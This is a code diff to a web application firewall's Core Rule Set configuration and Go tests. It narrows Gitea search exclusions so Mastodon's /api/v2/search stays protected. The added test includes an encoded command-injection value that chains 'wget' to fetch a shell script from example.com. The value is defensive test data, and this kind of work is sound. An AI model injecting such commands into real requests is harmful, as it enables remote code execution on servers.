diff --git a/internal/coreruleset/coreruleset_test.go b/internal/coreruleset/coreruleset_test.go index aa53b67..5251263 100644 --- a/internal/coreruleset/coreruleset_test.go +++ b/internal/coreruleset/coreruleset_test.go @@ -674,6 +674,19 @@ func TestOrdinaryGiteaRequestsPassAndAttacksAreRefused(t *testing.T) { } } } + + // gitea has no owner named api, so Mastodon's search is not a + // repository's search. + for _, attack := range []string{ + sqlInjection, + scriptInjection, + "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh", + } { + target := "/api/v2/search?q=" + attack + if got := inspect(t, crs, get(target)); got.Score < threshold { + t.Errorf("%s let through: %+v", target, got) + } + } } // WordPress's paths: signing in, posting a comment, admin-ajax.php, and the diff --git a/internal/coreruleset/gitea.conf b/internal/coreruleset/gitea.conf index 600fc92..b3021b5 100644 --- a/internal/coreruleset/gitea.conf +++ b/internal/coreruleset/gitea.conf @@ -35,41 +35,44 @@ # 944100: java.lang.Runtime # 944110: java.lang.Runtime # 944130: java.lang.Runtime +# gitea has no owner named api, so /api/v2/search, Mastodon's search, is not a +# search inside a repository and gets none of this. SecRule REQUEST_FILENAME "@rx ^/(?:explore/code|issues(?:/search)?|pulls|\ [^/]+/-/code|\ [^/]+/[^/]+/(?:search|issues(?:/search)?|pulls|\ commits/(?:branch|tag|commit)/.+/search)|\ api/v1/repos/(?:issues/search|[^/]+/[^/]+/issues))$" \ - "id:900600,phase:1,pass,nolog,\ - ctl:ruleRemoveTargetById=930110;ARGS:q,\ - ctl:ruleRemoveTargetById=930120;ARGS:q,\ - ctl:ruleRemoveTargetById=931100;ARGS:q,\ - ctl:ruleRemoveTargetById=932120;ARGS:q,\ - ctl:ruleRemoveTargetById=932130;ARGS:q,\ - ctl:ruleRemoveTargetById=932140;ARGS:q,\ - ctl:ruleRemoveTargetById=932160;ARGS:q,\ - ctl:ruleRemoveTargetById=932235;ARGS:q,\ - ctl:ruleRemoveTargetById=932250;ARGS:q,\ - ctl:ruleRemoveTargetById=932260;ARGS:q,\ - ctl:ruleRemoveTargetById=932380;ARGS:q,\ - ctl:ruleRemoveTargetById=933100;ARGS:q,\ - ctl:ruleRemoveTargetById=933130;ARGS:q,\ - ctl:ruleRemoveTargetById=933135;ARGS:q,\ - ctl:ruleRemoveTargetById=934100;ARGS:q,\ - ctl:ruleRemoveTargetById=934110;ARGS:q,\ - ctl:ruleRemoveTargetById=934130;ARGS:q,\ - ctl:ruleRemoveTargetById=941100;ARGS:q,\ - ctl:ruleRemoveTargetById=941110;ARGS:q,\ - ctl:ruleRemoveTargetById=941160;ARGS:q,\ - ctl:ruleRemoveTargetById=941180;ARGS:q,\ - ctl:ruleRemoveTargetById=941390;ARGS:q,\ - ctl:ruleRemoveTargetById=942100;ARGS:q,\ - ctl:ruleRemoveTargetById=942140;ARGS:q,\ - ctl:ruleRemoveTargetById=942190;ARGS:q,\ - ctl:ruleRemoveTargetById=942230;ARGS:q,\ - ctl:ruleRemoveTargetById=944100;ARGS:q,\ - ctl:ruleRemoveTargetById=944110;ARGS:q,\ - ctl:ruleRemoveTargetById=944130;ARGS:q" + "id:900600,phase:1,pass,nolog,chain" + SecRule REQUEST_FILENAME "!@rx ^/api/[^/]+/search$" \ + "ctl:ruleRemoveTargetById=930110;ARGS:q,\ + ctl:ruleRemoveTargetById=930120;ARGS:q,\ + ctl:ruleRemoveTargetById=931100;ARGS:q,\ + ctl:ruleRemoveTargetById=932120;ARGS:q,\ + ctl:ruleRemoveTargetById=932130;ARGS:q,\ + ctl:ruleRemoveTargetById=932140;ARGS:q,\ + ctl:ruleRemoveTargetById=932160;ARGS:q,\ + ctl:ruleRemoveTargetById=932235;ARGS:q,\ + ctl:ruleRemoveTargetById=932250;ARGS:q,\ + ctl:ruleRemoveTargetById=932260;ARGS:q,\ + ctl:ruleRemoveTargetById=932380;ARGS:q,\ + ctl:ruleRemoveTargetById=933100;ARGS:q,\ + ctl:ruleRemoveTargetById=933130;ARGS:q,\ + ctl:ruleRemoveTargetById=933135;ARGS:q,\ + ctl:ruleRemoveTargetById=934100;ARGS:q,\ + ctl:ruleRemoveTargetById=934110;ARGS:q,\ + ctl:ruleRemoveTargetById=934130;ARGS:q,\ + ctl:ruleRemoveTargetById=941100;ARGS:q,\ + ctl:ruleRemoveTargetById=941110;ARGS:q,\ + ctl:ruleRemoveTargetById=941160;ARGS:q,\ + ctl:ruleRemoveTargetById=941180;ARGS:q,\ + ctl:ruleRemoveTargetById=941390;ARGS:q,\ + ctl:ruleRemoveTargetById=942100;ARGS:q,\ + ctl:ruleRemoveTargetById=942140;ARGS:q,\ + ctl:ruleRemoveTargetById=942190;ARGS:q,\ + ctl:ruleRemoveTargetById=942230;ARGS:q,\ + ctl:ruleRemoveTargetById=944100;ARGS:q,\ + ctl:ruleRemoveTargetById=944110;ARGS:q,\ + ctl:ruleRemoveTargetById=944130;ARGS:q" # A page opened from the results of one of those searches has the search's # address in Referer, which skips these rules then: